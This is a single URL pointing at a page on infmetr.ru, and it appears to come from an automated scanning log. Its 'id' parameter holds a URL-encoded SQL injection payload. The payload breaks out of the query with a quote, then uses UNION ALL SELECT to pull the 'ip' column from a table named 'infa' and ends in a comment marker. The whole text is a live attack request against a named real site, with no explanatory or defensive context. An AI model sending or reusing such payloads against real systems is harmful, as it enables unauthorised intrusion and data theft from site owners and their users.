http://infmetr.ru/index.php?event=show&id=-2576%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(IFNULL(CAST(ip%20AS%20CHAR),0x20)),NULL,NULL,NULL,NULL%20FROM%20infa%20ORDER%20BY%20rand()%20LIMIT%201--%20bVyh